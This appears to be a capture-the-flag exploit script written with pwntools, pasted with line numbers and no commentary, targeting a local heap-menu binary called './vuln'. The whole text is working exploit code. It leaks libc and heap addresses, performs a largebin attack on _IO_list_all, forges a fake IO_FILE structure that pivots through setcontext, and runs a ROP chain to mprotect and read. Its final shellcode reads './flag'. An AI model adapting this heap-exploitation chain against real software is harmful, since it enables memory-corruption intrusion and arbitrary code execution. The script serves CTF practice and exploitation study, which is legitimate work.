1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| from pwn import * context.arch = 'amd64' elf=ELF('./vuln') libc=ELF(elf.libc.path, checksec = False)
io = process(elf.path)
def choice(idx): io.sendlineafter(b'>',str(idx))
def add(idx,size): choice(1) io.sendlineafter(b'Index: ',str(idx)) io.sendlineafter(b'Size: ',str(size))
def free(idx): choice(2) io.sendlineafter(b'Index: ',str(idx))
def edit(idx,content): choice(3) io.sendlineafter(b'Index: ',str(idx)) io.sendafter(b'Content: ',content)
def show(idx): choice(4) io.sendlineafter(b'Index: ',str(idx))
def exit_(): choice(5)
add(0,0x520) add(1,0x530) add(2,0x518) free(0)
add(3,0x540)
show(0) libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00")) - 0x203f50 print("libc_base:", hex(libc_base)) edit(0,b'a'*0x10) show(0) io.recvuntil(b'a'*0x10) heap_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x290 print("heap_base:", hex(heap_base)) edit(0,p64(libc_base + 0x1f70f0)*2)
pop_rdi =libc_base + 0x000000000010f75b pop_rsi = libc_base + 0x0000000000110a4d pop_rdx_leave_ret = libc_base +0x000000000009819d pop_rax = libc_base + 0x00000000000dd237 pop_rbp = libc_base + 0x0000000000028a91 ret = libc_base + 0x000000000002882f
stderr=libc_base+libc.sym['stderr'] _IO_list_all = libc_base+libc.sym['_IO_list_all'] setcontext=libc_base+libc.sym['setcontext'] syscall_ret=libc_base + 0x98FA6 fake_io_addr = heap_base + 0xd00 rop_addr = heap_base + 0x2750 mprotect = libc_base + libc.sym['mprotect']
fake_IO_FILE = b''
fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(1)+p64(2) fake_IO_FILE += p64(fake_io_addr+0xb0) fake_IO_FILE += p64(setcontext + 61) fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10,b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10,b'\x00') fake_IO_FILE += p64(heap_base+0x1000) fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10,b'\x00') fake_IO_FILE += p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10,b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10,b'\x00') fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x30) fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40) payload = fake_IO_FILE + p64(0)*7 + p64(rop_addr) + p64(ret) print("stderr:", hex(stderr)) free(2)
add(4,0x518) edit(4,payload) free(4)
edit(0,p64(libc_base+0x1f70f0)*2 + p64(heap_base+0x290) + p64(_IO_list_all-0x20))
add(5,0x540) add(6,0x530) add(7,0x530)
rop = p64(pop_rdi) + p64(libc_base-0x3000) rop += p64(pop_rsi) + p64(0x3000) rop += p64(pop_rax) + p64(10) rop += p64(pop_rbp) + p64(rop_addr + 0x48) rop += p64(pop_rdx_leave_ret) + p64(7) rop += p64(syscall_ret)
rop += p64(pop_rdi) + p64(0) rop += p64(pop_rsi) + p64(libc_base-0x3000) rop += p64(pop_rax) + p64(0) rop += p64(pop_rbp) + p64(rop_addr + 0xa0) rop += p64(pop_rdx_leave_ret) + p64(0xff) rop += p64(syscall_ret) + p64(libc_base-0x3000)
add(8,0x530) edit(8,rop) free(5) add(9,0x550) free(7)
sc = shellcraft.pushstr('./flag') sc += shellcraft.open('rsp', 0, 0) sc += shellcraft.read('rax', 'rsp', 0x30) sc += shellcraft.write(1, 'rsp', 0x30)
choice(5) sleep(0.1) io.send(asm(sc))
io.interactive()
|